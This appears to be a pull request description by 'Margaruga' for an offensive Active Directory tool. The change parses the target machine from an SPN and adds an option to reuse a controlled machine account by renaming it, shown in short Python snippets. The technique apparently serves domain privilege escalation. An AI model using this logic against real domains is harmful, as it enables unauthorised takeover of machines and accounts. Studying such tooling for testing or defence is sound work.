Add support to target any machine and resuse a controlled machine account

[Margaruga]

We've added minor changes to target a different account other than a domain controller. The target now is taken from the SPN.

self.computerName = options.spn.split('/')[1].split(".")[0]

We also added an additional option to specify if you want to use an existing machine account, instead of adding a new one. In order to not interfere too much with the current logic, this option just renames the machine account to the new target before continuing:

ma = MachineAccount(username, password, domain, options)
if options.use_computer:
    oldComputerName = ma.computerName
    oldNewComputerName = ma.newComputerName
    ma.computerName = options.use_computer
    ma.newComputerName = oldComputerName
    ma.rename()
    ma.computerName = oldComputerName
    ma.newComputerName = oldNewComputerName

ma.add()